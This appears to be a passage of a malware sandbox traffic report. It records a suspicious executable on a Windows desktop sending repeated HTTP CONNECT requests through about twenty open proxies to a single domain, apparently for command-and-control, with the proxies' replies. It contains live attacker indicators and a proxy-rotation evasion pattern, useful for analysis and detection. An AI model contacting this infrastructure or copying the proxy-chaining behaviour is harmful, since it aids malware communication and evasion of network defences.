Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.340747118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1684	192.168.2.11	55116	138.36.150.26	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.364206076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1685	192.168.2.11	51619	124.158.186.254	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.372601032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.376234055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.485863924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.485881090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:52.579113007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.422441006 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1686	192.168.2.11	51825	85.25.177.53	55217	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.382097960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.438623905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.439053059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.439084053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1687	192.168.2.11	54163	95.111.227.164	44734	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.385159969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.438657045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.439039946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.439080954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:52.449322939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:04.485356092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:16.610343933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:40.610320091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:28.798049927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1688	192.168.2.11	54238	51.75.125.208	2736	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.385519981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.438720942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.439047098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.439083099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:52.449342966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1689	192.168.2.11	54261	51.75.126.150	36580	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.385904074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.438749075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1690	192.168.2.11	54211	37.27.6.46	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.388533115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.438729048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:53.766252995 CET	344	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 15:42:53 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1691	192.168.2.11	52870	92.205.110.47	36637	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.413930893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.438740015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.439101934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.439078093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:52.449336052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1692	192.168.2.11	55026	117.160.250.132	8899	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.414896965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.871577978 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:28 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1693	192.168.2.11	55119	192.252.216.81	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.420667887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1694	192.168.2.11	51757	27.71.248.123	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.430896044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.512717962 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 817 Content-Type: text/html Date: Sat, 17 Feb 2024 15:25:21 GMT Expires: Sat, 17 Feb 2024 15:25:21 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1695	192.168.2.11	54153	211.93.2.190	7302	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.471872091 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:28.999362946 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1696	192.168.2.11	51984	54.36.122.16	17188	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.532819986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.688694954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.689034939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.688985109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:52.782192945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:04.782219887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1697	192.168.2.11	52057	173.249.33.122	64873	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.533289909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1698	192.168.2.11	51986	66.228.35.209	17464	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.915462017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938807011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.032685995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:41.032351971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:53.110204935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:05.282242060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:17.297842979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:41.313426018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:29.500782013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1699	192.168.2.11	55121	68.71.249.153	48606	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:29.130382061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1700	192.168.2.11	54412	98.181.137.80	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:29.177251101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1701	192.168.2.11	52234	132.148.154.97	31406	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:29.234181881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.312694073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1702	192.168.2.11	54399	59.6.26.121	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:29.242125988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1703	192.168.2.11	52041	212.154.82.52	9090	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
